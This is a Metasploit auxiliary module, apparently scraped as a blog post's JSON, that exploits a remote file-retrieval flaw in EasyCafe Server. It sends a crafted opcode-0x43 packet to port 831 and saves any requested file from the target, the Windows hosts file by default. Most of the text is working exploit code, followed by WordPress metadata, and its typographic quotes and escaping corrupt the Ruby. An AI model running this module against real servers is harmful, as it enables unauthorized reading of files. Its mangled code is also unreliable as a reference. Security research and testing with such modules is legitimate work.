##
# This module requires Metasploit: https:\/\/metasploit.com\/download
# Current source: https:\/\/github.com\/rapid7\/metasploit-framework
##<\/p>\n
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner<\/p>\n
def initialize(info = {})
super(update_info(info,
‘Name’ => ‘EasyCafe Server Remote File Access’,
‘Description’ => %q{
This module exploits a file retrieval vulnerability in
EasyCafe Server. The vulnerability can be triggered by
sending a specially crafted packet (opcode 0x43) to the
831\/TCP port.
This module has been successfully tested on EasyCafe Server
version 2.2.14 (Trial mode and Demo mode) on Windows XP SP3
and Windows 7 SP1.
Note that the server will throw a popup messagebox if the
specified file does not exist.
},
‘License’ => MSF_LICENSE,
‘Author’ =>
[
‘R-73eN’, # Vulnerability Discovery
‘bcoles’ # Metasploit module
],
‘References’ =>
[
[ ‘EDB’, ‘39102’ ]]))<\/p>\n
register_options(
[
Opt::RPORT(831),
OptString.new(‘FILEPATH’, [true, ‘The path of the file to download’, ‘C:\\\\WINDOWS\\\\system32\\\\drivers\\\\etc\\\\hosts’])
])
end<\/p>\n
def get_file
res = sock.get_once
unless res
print_error(“Unable to retrieve file due to a timeout.”)
return
end<\/p>\n
unless res.length == 261
print_error(“Received a response of an invalid size.”)
return
end<\/p>\n
file_size = res.unpack(‘@256V’)[0]contents = ”
while contents.length < file_size
contents << sock.get_once
end<\/p>\n
print_good(“File retrieved successfully (#{contents.length} bytes)!”)
contents
end<\/p>\n
def run_host(ip)
file_path = datastore[‘FILEPATH’]if file_path.length > 67
print_error(“File path is longer than 67 characters. Try using MS-DOS 8.3 short file names.”)
return
end<\/p>\n
packet = “\\x43”
packet << file_path
packet << “\\x00” * (255 – file_path.length)
packet << “\\x01\\x00\\x00\\x00\\x01”<\/p>\n
vprint_status(“Sending request (#{packet.length} bytes)”)
connect
sock.put(packet)<\/p>\n
contents = get_file
disconnect
return if contents.nil?<\/p>\n
path = store_loot(
‘easycafe_server’,
‘application\/octet-stream’,
ip,
contents,
File.basename(file_path)
)
print_status(“File saved in: #{path}”)
end
end<\/p>\n","protected":false},"excerpt":{"rendered":"
### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule < Msf::Auxiliaryinclude Msf::Exploit::Remote::Tcpinclude Msf::Auxiliary::Reportinclude Msf::Auxiliary::Scanner def initialize(info = {})super(update_info(info,‘Name’ => ‘EasyCafe Server Remote File Access’,‘Description’ => %q{This module exploits a file retrieval vulnerability inEasyCafe Server. The vulnerability can be triggered bysending a specially crafted packet (opcode 0x43) to the831\/TCP port.This module has been successfully …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59374","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59374","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59374"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59374\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59374"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59374"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59374"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}